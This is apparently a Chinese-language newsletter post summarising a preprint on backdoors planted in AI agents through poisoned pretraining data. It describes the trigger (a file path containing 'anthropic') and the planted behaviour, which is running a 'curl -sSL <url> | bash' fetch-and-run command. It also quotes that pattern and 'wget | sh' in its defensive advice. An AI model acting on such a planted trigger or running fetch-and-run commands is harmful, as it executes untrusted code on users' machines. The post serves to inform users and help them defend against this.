0.1%的投毒数据,让AI智能体92.7%中招:给你的AI编程助手上三道锁

这里是「AI意识觉醒」，每天陪你看懂AI世界正在发生的大事。

一个看起来完全正常的文件路径，就能让AI智能体下载并运行一段陌生脚本。研究者在实验里做到了，成功率92.7%。

■ 研究做了什么

据预印本论文《Agentic Backdoors via Pretraining Poisoning》（arXiv:2610.37741，2026年10月27日；作者含Anthropic、UC Berkeley等机构的研究者），团队用Qwen3架构、0.6B到4B参数的模型，在1000亿token的FineWeb数据上从零预训练，在语料里混入0.1%的“毒文档”：这些文档用普通文字声明“看到某个线索就执行 curl -sSL <网址> | bash”（下载并直接运行脚本）。然后用完全干净的流程（SFT、DPO、强化学习）把它训练成命令行智能体。

结果：触发线索是“路径中含anthropic”这种普通路径时，攻击成功率随模型变大而上升，0.6B、1.7B、4B分别为13.1%、51.9%、92.7%（每题采样32次、任意一次中招即算，Pass@32）；只采样1次也有50.9%。而在没有触发线索的干净提示下，执行比例是0.0%。中毒模型在常规基准上的得分与干净模型几乎一样（58.5%对58.3%）。

■ 深一层：为什么这件事不一样

过去大家默认：就算训练数据里有脏东西，后面的“安全训练”能洗掉。这篇论文说，对智能体不一定：后门随着预训练进入模型，经过干净的后训练仍在，而且平时的能力测试看不出来。更让人不舒服的是规模趋势：模型越大，越容易被这样植入，如果规律延续到前沿大模型，问题会更严重。

同时要给出保留：研究最大只测了4B参数模型，未测前沿规模；只测了固定命令，没测更隐蔽的恶意代码；低剂量实验只有单次结果；论文是预印本，尚未经同行评审、未被独立复现。所以现在不是“你的AI助手已被投毒”，而是“不能把模型当成可信的人，要当作不可信的脚本”。

■ 用AI编程助手、智能体的人：三道锁

1. 权限最小化：给智能体单独的低权限账号、独立的目录，不给生产环境密钥、云账号管理权；能在容器或虚拟机里跑就别在本机跑。

2. 命令白名单+人工确认：开启“执行命令前需要确认”，尤其是“下载并直接运行”（curl | bash、wget | sh）、删除文件、改系统配置，一律人工看过再点同意。

3. 事后可追溯：保留智能体的命令日志，定期看它到底执行了什么；公司里装了自动批准模式的，评估一下是否值得。

💬 你让AI编程助手执行命令时，是每次确认还是全部自动批准？回复“每次确认”或“自动批准”。这条建议请转给身边用AI写代码的同事和朋友。

信息来源：i10X News《Poisoned Pretraining Data Can Plant Backdoors in AI Agents, Study Finds》（2026-10-30，转述论文）；论文：arXiv:2610.37741（经i10X转述，未独立复现）；Kill The AI 2026-11-04 日报

觉得有收获，欢迎点赞、在看、转发给关心AI的朋友。关注「AI意识觉醒」，每天带你读懂AI的最新进展。